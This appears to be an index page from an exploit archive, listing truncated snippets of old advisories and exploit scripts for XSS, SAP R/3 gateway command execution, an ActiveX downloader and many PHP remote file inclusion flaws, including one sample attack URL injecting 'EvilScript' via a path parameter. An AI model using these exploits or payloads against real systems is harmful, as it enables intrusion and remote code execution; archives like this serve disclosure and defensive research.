Unfixed XSS vulnerability at www.hospo.com

Security researcher St@R-gaZ3r, has submitted on 01/11/2007 a cross-site-scripting XSS vulnerability affecting www.hospo.com, which at the time of submission ranked 2832727 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/11/2007. It is...

Unfixed XSS vulnerability at www.vres.gr

Security researcher St@R-gaZ3r, has submitted on 01/11/2007 a cross-site-scripting XSS vulnerability affecting www.vres.gr, which at the time of submission ranked 32854 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 04/11/2007. It is currently...

rediffbol.txt

Rediff Bol Downloader Allows Downloading and Spawning Arbitary Files Affected Program : Rediff Bol Download ActiveX ActiveX OCX Control that downloads the Rediff Bol Messenger setup and spawns it. Related URL : http://messenger.rediff.com/newbol/ Discovered by : Gregory R. Panakkal Vulnerability...

SAP Internet Graphics Server远程缓冲区溢出漏洞

SAP Internet Graphics Server是SAP R/3企业环境的一个组件，可提供图形服务。 SAP Internet Graphics Server不正确处理用户提交的HTTP请求，远程攻击者可以利用漏洞进行缓冲区溢出攻击，可能以进程权限执行任意指令。 目前没有详细漏洞细节提供，成功利用漏洞可导致在UNIX系统下获得SAP系统管理员特权，而在windows下可导致获得SYSTEM权限。 SAP Internet Graphics Server 6.40 Patch 11 SAP Internet Graphics Server 6.40 SAP Internet...

r3mote_win_UDPexec.pl.txt

!/usr/bin/perl -w use IO::Socket; Executes the command given as first argument as a child process of gwrd in Windows R/3 environments. Request packet may not contain space character 0x20. The command interpreter must obviously be modified for other UNIX environments. 2003, FX of Phenoelit $|=1;...

r3mote_unix_UDPexec.pl.txt

!/usr/bin/perl -w use IO::Socket; Unix version of the FX SAP R/3 gwrd vuln. We partially control a call to excve made by lnaxdm/sapsys Easily exploitable with local access Could be done remotely under some conditions 2003, FX of Phenoelit Win32 original code 2005, Nicob Unix version $|=1; die "Gi...

OpenEMR 2.8.1 - srcdir Multiple Remote File Inclusions

OpenEMR 2.8.1 - srcdir Multiple Remote File Inclusions \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV60$2006 ----------------------------------------------------------------------------------------------- ECHOADV60$2006 OpenEMR =2.8.1 Multiple Remote File...

RSSonate remote Command Execution Vulnerabilities

!/usr/bin/perl RSSonate remote Command Execution Vulnerabilities Risk : High Remote Code Execution Url: http://www.gocc.gov/groups/RISOS/software/sqltorss Exploit: http://site.com/path/Src/getFeed/inc/xml2rss.php?PROJECTROOT=EvilScript...

EPNadmin remote Command Execution Vulnerabilities

!/usr/bin/perl EPNadmin remote Command Execution Vulnerabilities Risk : High Remote Code Execution Url: http://epnadmin.pierrefitte93.fr Version : 0.7 coded and f0und3d by Kw3RLn ciriboflacsATYaHOo.com Romanian Security Team .: hTTp://RST-CREW.NET :. Shoutz to Oo, str0ke, th0r and all members of...

CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion

!/usr/bin/perl CASTOR Romanian Security Team .: hTTp://RST-CREW.NET :. Shoutz to Oo, str0ke, th0r and all members of RST ! use LWP::Simple; print "...........................RST...............................\n"; print ". .\n"; print ". CASTOR hTTp://RST-CREW.NET .\n"; print ". coded by Kw3rLN -...

Specimen Image Database (client.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ====================================================================== Specimen Image Database client.php Remote File Include Vulnerability ======================================================================...

AROUNDMe <= 0.5.2 (templatePath) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ================================================================== AROUNDMe = 0.5.2 templatePath Remote File Include Vulnerability ==================================================================...

NuralStorm Webmail <= 0.98b (process.php) Remote Include Vulnerability

Exploit for unknown platform in category web applications ====================================================================== NuralStorm Webmail = 0.98b process.php Remote Include Vulnerability ======================================================================...

CampSite <= 2.6.1 (g_documentRoot) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ==================================================================== CampSite = 2.6.1 gdocumentRoot Remote File Include Vulnerability ====================================================================...

CyberBrau 0.9.4 - '/forum/track.php' Remote File Inclusion

--------------------------------------------------------------------------- CyberBrau = 0.9.4 path Remote File Include Vulnerability --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team : hTTp://RST-CREW.net : Remote : Yes Critica...

AROUNDMe 0.5.2 - 'templatePath' Remote File Inclusion

--------------------------------------------------------------------------- AROUNDMe = 0.5.2 templatePath Remote File Include Vulnerability --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team : hTTp://RST-CREW.net : Remote : Yes...

Genepi 1.6 - 'genepi.php' Remote File Inclusion

--------------------------------------------------------------------------- Genepi = 1.6 topdir Remote File Include Vulnerability --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team : hTTp://RST-CREW.net : Remote : Yes Critical...

Genepi 1.6 - genepi.php Remote File Inclusion

Genepi 1.6 - genepi.php Remote File Inclusion --------------------------------------------------------------------------- Genepi = 1.6 topdir Remote File Include Vulnerability --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team :...

phpBB Static Topics &lt;= 1.0 [phpbb_root_path] Remote File Include Vulnerability

--------------------------------------------------------------------------- phpBB Static Topics = 1.0 phpbbrootpath Remote File Include Vulnerability --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team : hTTp://RST-CREW.net :...

phpBB Static Topics 1.0 - 'phpbb_root_path' File Inclusion

--------------------------------------------------------------------------- phpBB Static Topics = 1.0 phpbbrootpath Remote File Include Vulnerability --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team : hTTp://RST-CREW.net :...